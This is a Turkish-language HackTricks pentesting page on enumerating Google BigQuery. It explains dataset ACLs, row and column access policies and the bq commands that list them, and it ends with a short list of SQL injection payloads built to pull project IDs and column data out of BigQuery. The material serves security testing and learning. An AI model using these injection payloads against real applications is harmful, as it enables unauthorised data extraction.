GCP - Bigquery Enum

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'ı desteklemenin diğer yolları:

Temel Bilgiler

Google Cloud BigQuery, tamamen yönetilen, sunucusuz kurumsal veri ambarı olup, petabaytlarca veri üzerinde analiz imkanı sunarak büyük ölçekli veri kümelerini verimli bir şekilde işler. Platform olarak Hizmet (PaaS) olarak, kullanıcılara veri yönetimini kolaylaştırmak için altyapı ve araçlar sağlar, manuel denetim gerektirmez.

ANSI SQL kullanarak sorgulamayı destekler. Ana nesneler, tabloları içeren veri kümeleri olan veri tabanlarıdır.

Şifreleme

Varsayılan olarak Google tarafından yönetilen şifreleme anahtarı kullanılır, ancak Müşteri tarafından yönetilen şifreleme anahtarı (CMEK) yapılandırmak mümkündür. Bir veri kümesi ve veri kümesi içindeki bir tablo için şifreleme anahtarını belirtmek mümkündür.

Süresi Dolmuş

Veri kümesinde bir süresi dolmuş zaman belirtmek mümkündür, bu nedenle bu veri kümesinde oluşturulan her yeni tablo, oluşturulduktan belirtilen gün sayısı sonra otomatik olarak silinir.

Harici Kaynaklar

Bigquery, diğer Google hizmetleriyle derinlemesine entegredir. Verileri kovalardan, pub/sub, google drive, RDS veritabanlarından yüklemek mümkündür...

Veri Kümesi ACL'leri

Bir veri kümesi oluşturulduğunda, üzerinde erişim sağlamak için ACL'ler eklenir. Varsayılan olarak, veri kümesini oluşturan kullanıcı üzerinde Sahip ayrıcalıkları verilir ve ardından Proje Sahipleri grubuna (Projenin Sahipleri), Yazıcı grubuna Proje Yazarları, ve Okuyucu grubuna Proje Okuyucuları ayrıcalıkları verilir.

bq show --format=prettyjson <proj>:<dataset>

...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...

Tablo Satırlarının Erişimini Kontrol Etme

Birincil birinin bir tablo içinde erişebileceği satırları kontrol etmek mümkündür. Bu, satır erişim politikaları kullanılarak tablo içinde tanımlanır. Bunlar, DDL kullanılarak tablo içinde tanımlanır. Erişim politikası bir filtre tanımlar ve yalnızca o filtreye uyan satırlar belirtilen birincil tarafından erişilebilir olacaktır.

# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');

# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');

# Check the Post Exploitation tricks to see how to call this from the cli
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

Sütun Erişim Kontrolü

Veri erişimini sütun düzeyinde kısıtlamak için şunları yapabilirsiniz:

  1. Bir sınıflandırma ve politika etiketi tanımlayın. Verileriniz için bir sınıflandırma ve politika etiketi oluşturun ve yönetin. https://console.cloud.google.com/bigquery/policy-tags

  2. İsteğe bağlı: Bir veya daha fazla ilkeye sahip Veri Kataloğu İnce Tanımlı Okuyucu rolünü oluşturduğunuz politika etiketlerinden bir veya daha fazlasına atayın.

  3. BigQuery sütunlarına politika etiketleri atayın. BigQuery'de, erişimi kısıtlamak istediğiniz her sütuna bir politika etiketi atamak için şema açıklamalarını kullanın.

  4. Sınıflandırmada erişim kontrolünü uygulayın. Erişim kontrolünü uygulamak, sınıflandırmadaki tüm politika etiketleri için tanımlanan erişim kısıtlamalarının uygulanmasını sağlar.

  5. Politika etiketlerinde erişimi yönetin. Her politika etiketine erişimi kısıtlamak için Kimlik ve Erişim Yönetimi (IAM) politikalarını kullanın. Politika, politika etiketine ait her sütun için etkilidir.

Kullanıcı sorgu zamanında sütun verilerine erişmeye çalıştığında, BigQuery kullanıcının verilere erişim iznine sahip olup olmadığını kontrol etmek için sütun politika etiketini ve ilkesini kontrol eder.

Özetle, belirli kullanıcılara bazı sütunlara erişimi kısıtlamak için şemada sütuna bir etiket ekleyebilir ve kullanıcıların erişimini etikete kısıtlayabilirsiniz ve bu etiketin sınıflandırmasında erişim kontrolünü uygulayabilirsiniz.

Sınıflandırmada erişim kontrolünü uygulamak için hizmetin etkinleştirilmesi gerekmektedir:

gcloud services enable bigquerydatapolicy.googleapis.com

Sütunların etiketlerini görmek mümkündür:

bq show --schema <proj>:<dataset>.<table>

[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]

SQL Injection türleri:

  • Hata tabanlı - dönüştürme: select CAST(@@project_id AS INT64)

  • Hata tabanlı - sıfıra bölme: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '

  • Birleşim tabanlı (bigquery'de ALL kullanmanız gerekmektedir): UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#

  • Boolean tabanlı: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#

  • Potansiyel zaman tabanlı - Genel veri kümeleri kullanımı örneği: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000

Belgeler:

Yetki Yükseltme ve Saldırı Sonrası İstismar

GCP - BigQuery Privesc

Kalıcılık

GCP - BigQuery Persistence

Referanslar

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated